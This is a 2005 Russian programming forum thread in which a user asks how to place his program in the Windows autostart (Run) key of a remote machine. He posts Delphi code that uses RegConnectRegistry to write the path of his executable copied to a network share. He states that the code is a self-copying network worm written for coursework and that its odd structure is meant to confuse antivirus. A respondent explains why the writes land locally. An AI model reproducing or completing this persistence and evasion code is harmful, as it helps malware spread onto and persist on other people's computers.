Форум программистов «Весельчак У»
  *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

  • Рекомендуем проверить настройки временной зоны в вашем профиле (страница "Внешний вид форума", пункт "Часовой пояс:").
  • У нас больше нет рассылок. Если вам приходят письма от наших бывших рассылок mail.ru и subscribe.ru, то знайте, что это не мы рассылаем.
   Начало  
Наши сайты
Помощь Поиск Календарь Почта Войти Регистрация  
 
Страниц: [1]   Вниз
  Печать  
Автор Тема: автозагрузка на удаленной машине... ???  (Прочитано 7818 раз)
0 Пользователей и 1 Гость смотрят эту тему.
newmen
Интересующийся

ru
Offline Offline

« : 09-06-2005 03:35 » 

Возникла проблема..
я записываю программу на расшаренный ресурс удаленной машины. Но никак не могу поместить ее в автозапуск все той же удаленной машины...

Я пробовал вариант через реестр:
RegConnectRegistry( PChar('\\remCompName'), HKEY_USERS or HKEY_LOCAL_MACHINE, key1);

и далее как с обычным реестром. Но параметр записывается лишь в реестр локальной машины. Видимо, я неправильно понял назначение данной функции..

Пожалуйста, подскажите известные способы... (и для админов системы, и для простых пользователей), или еще что... КРАЙНЕ СРОЧНО НУЖНО!!!
« Последнее редактирование: 16-12-2007 18:34 от Алексей1153++ » Записан
Oldy
Команда клуба

ru
Offline Offline
Пол: Мужской

« Ответ #1 : 09-06-2005 03:58 » 

Цитата
...HKEY_USERS or HKEY_LOCAL_MACHINE...

А по одному ключу если, тоже не пишет?
Записан

С уважением, Oldy.
newmen
Интересующийся

ru
Offline Offline

« Ответ #2 : 09-06-2005 04:38 » 

я делаю по-одному ключу, это я сократил  Ангел  на самом деле я вот как написал

Код:
{$APPTYPE CONSOLE}
const
  hk=HKEY_CURRENT_USER;
  hkl='Software\Microsoft\Windows\CurrentVersion\Run';
  hku=HKEY_USERS;
  hklm=HKEY_LOCAL_MACHINE;
  par='msvc';

function regy(l_key:hkey; what:string=''):boolean;
var
  act:string;
  t1:integer;
begin
  act:=what;
  case sizeof(act) of
    0:begin  //d
      RegDeleteValueA(l_key,par);
    end;
    else begin  //w
      t1:=length(what);
      if RegSetValueEx(l_key,pchar(par),0,reg_sz,pchar(what),t1)=error_success then result:=true else result:=false;
    end;
  end;
end;

function get_k(s1:hkey; s2:pchar; var hk:hkey):boolean;
begin
   if RegCreateKeyEx(s1,s2,0, nil, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil,hk,nil)=error_success then result:=true
   else result:=false;
end;

var
  str_e:string;
  k1:hkey;
  mm: TStringList;
  i:integer;
  co:string;

begin
//...

    //str_e=paramstr(0)
   //co= '\\RemoteCompName'   
   //mm.strings[i]='\\RemoteCompName\share'

    if RegConnectRegistry(pchar(co),hklm,k1)<>error_success then  RegConnectRegistry(pchar(co),hku,k1);

    get_k(hklm,hkl,k1);
    if not regy(k1,mm.strings[i]+'\'+ExtractFileName(str_e)) then begin
      get_k(hku,hkl,k1);
      regy(k1,mm.strings[i]+'\'+ExtractFileName(str_e));
    end;
    RegCloseKey(k1);
end.

идиотизм этот с процедурами и переменными для того, чтобы запутать немного антивирус, прошу прощения..

там два варианта:
 1  hklm=HKEY_LOCAL_MACHINE;
 2  hku=HKEY_USERS;

оба пишут в локальный реестр, но вторая еще и пустую строку Жаль
даже если он не может соединиться, то очевидно функция вернет ошибку, но все функции возвращают успех..

(да.. чтобы не подумали плохого, это лишь простой сетевой червяк, который копирует себя на машины... потом удаляется... (задание по учебе), сегодня уже сдавать   Так больше нельзя...  а я такой ламер..)
« Последнее редактирование: 16-12-2007 18:35 от Алексей1153++ » Записан
Oldy
Команда клуба

ru
Offline Offline
Пол: Мужской

« Ответ #3 : 09-06-2005 11:09 » 

if RegConnectRegistry(pchar(co),hklm,k1)<>error_success then  RegConnectRegistry(pchar(co),hku,k1);

Это выражение говорит: "Если нет подключения к HKEY_LOCAL_MACHINE  то подключайся к HKEY_CURRENT_USER". А если и туда нет подключения, то что делать?

Потому и пишут в локальный, что нет удаленного подключения. k1 = 0.
« Последнее редактирование: 09-06-2005 11:54 от Oldy » Записан

С уважением, Oldy.
newmen
Интересующийся

ru
Offline Offline

« Ответ #4 : 10-06-2005 10:31 » 

верно, я удалил лишнее, поскольку я дома в пошаговом режиме проверял, и первая ф-я возвращает error_success, т.е. все ок, а второй вариант я оставил на случай если к первому ключу нет прав доступа..
Но похоже это бессмысленно, т.к. насколько я понимаю доступ к удаленному реестру возможен только при работе на уд. машине сеанса с правами администратора, и еще там должен быть вклечен режим удаленного управления. Тогда непонятно, нужен ли такой режим на машине, где запущена моя программа?  попробую поэкспериментировать.

я попытался также вручную подключиться через регедит, удаленные ключи появились, но доступа к ним не было ((
похоже я во многом неправ?..
Записан
Oldy
Команда клуба

ru
Offline Offline
Пол: Мужской

« Ответ #5 : 10-06-2005 12:24 » 

Цитата
насколько я понимаю доступ к удаленному реестру возможен только при работе на уд. машине сеанса с правами администратора, и еще там должен быть вклечен режим удаленного управления.
Угу, или программа должна работать в ней, в удаленной машине.
Цитата
похоже я во многом неправ?...
Ну не знаю. Думаю, что политики безопасности не позволят так свободно хозяйничать в реестре на чужой машине, даже при такой дырявой защите как у Windows Улыбаюсь
« Последнее редактирование: 10-06-2005 12:30 от Oldy » Записан

С уважением, Oldy.
Страниц: [1]   Вверх
  Печать  
 

Powered by SMF 1.1.21 | SMF © 2015, Simple Machines